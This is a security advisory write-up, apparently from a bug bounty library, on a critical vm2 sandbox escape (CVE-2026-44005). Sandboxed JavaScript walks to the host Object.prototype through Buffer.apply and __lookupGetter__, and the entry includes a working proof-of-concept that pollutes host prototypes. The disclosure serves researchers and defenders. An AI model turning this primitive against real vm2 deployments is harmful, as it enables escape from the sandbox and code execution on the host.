# vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape

vm2 bridge forwards sandbox writes to real host intrinsic prototypes, letting sandboxed JS pollute host Object.prototype and escape the VM.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: hongancalif
- Disclosed: 2026-05-07
- CVE: CVE-2026-44005
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vwrp-x96c-mhwq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vwrp-x96c-mhwq
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:sandbox-escape

**Target:** vm2 sandbox bridge (lib/bridge.js) in Node.js
**Root cause:** BaseHandler.get() returns host-side prototypes for __proto__ and BaseHandler.set()/defineProperty() forward sandbox writes via otherReflectSet/otherReflectDefineProperty into shared host intrinsic prototypes instead of keeping mutations sandbox-local.
**Steps:**
1. Inside a default VM, grab `const g = ({}).__lookupGetter__;` and `const a = Buffer.apply;`
2. Use `a.apply(g, [Buffer, ['__proto__']])` to obtain the host __lookupGetter__ accessor bound to Buffer
3. Repeatedly call `p.call(p.call(p.call(p.call(Buffer.of()))))` to walk prototypes up to host Object.prototype
4. Assign `hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype'`
5. Observe host-side `{}.vm2EscapeMarker` is polluted, confirming escape
**How found:** Code review of lib/bridge.js: noticed BaseHandler.apply unwraps sandbox receivers/args and invokes real host functions, BaseHandler.get special-cases __proto__ returning host prototypes, and set/defineProperty forward writes to host objects; existing constructor filter, setPrototypeOf guard, and containsDangerousConstructor only cover narrow paths, leaving the initial host-prototype write sink open.
**Exploitation:** Attacker-controlled sandbox JS uses exposed host functions (Buffer.apply, __lookupGetter__) to walk to host intrinsic prototypes, then writes properties through the bridge's set/defineProperty sinks, polluting shared host Object.prototype/Array.prototype/Function.prototype and escaping the sandbox.
**Escalation:** Prototype pollution of host intrinsics enables sandbox escape and potential code execution in the host realm.
**Insight:** In JS sandbox bridges, any exposed host function plus __lookupGetter__('__proto__') is a prototype-walking primitive; check whether set/defineProperty traps forward writes to real host intrinsics rather than sandbox-local copies.

## Proof of concept (copied exactly from the original report)

**PoC polluting host Object.prototype via vm2**

```
const { VM } = require('vm2');
const vm = new VM();
vm.run(`
  const g = ({}).__lookupGetter__;
  const a = Buffer.apply;
  const p = a.apply(g, [Buffer, ['__proto__']]);
  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));
  hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';
`);
console.log({}.vm2EscapeMarker)
```

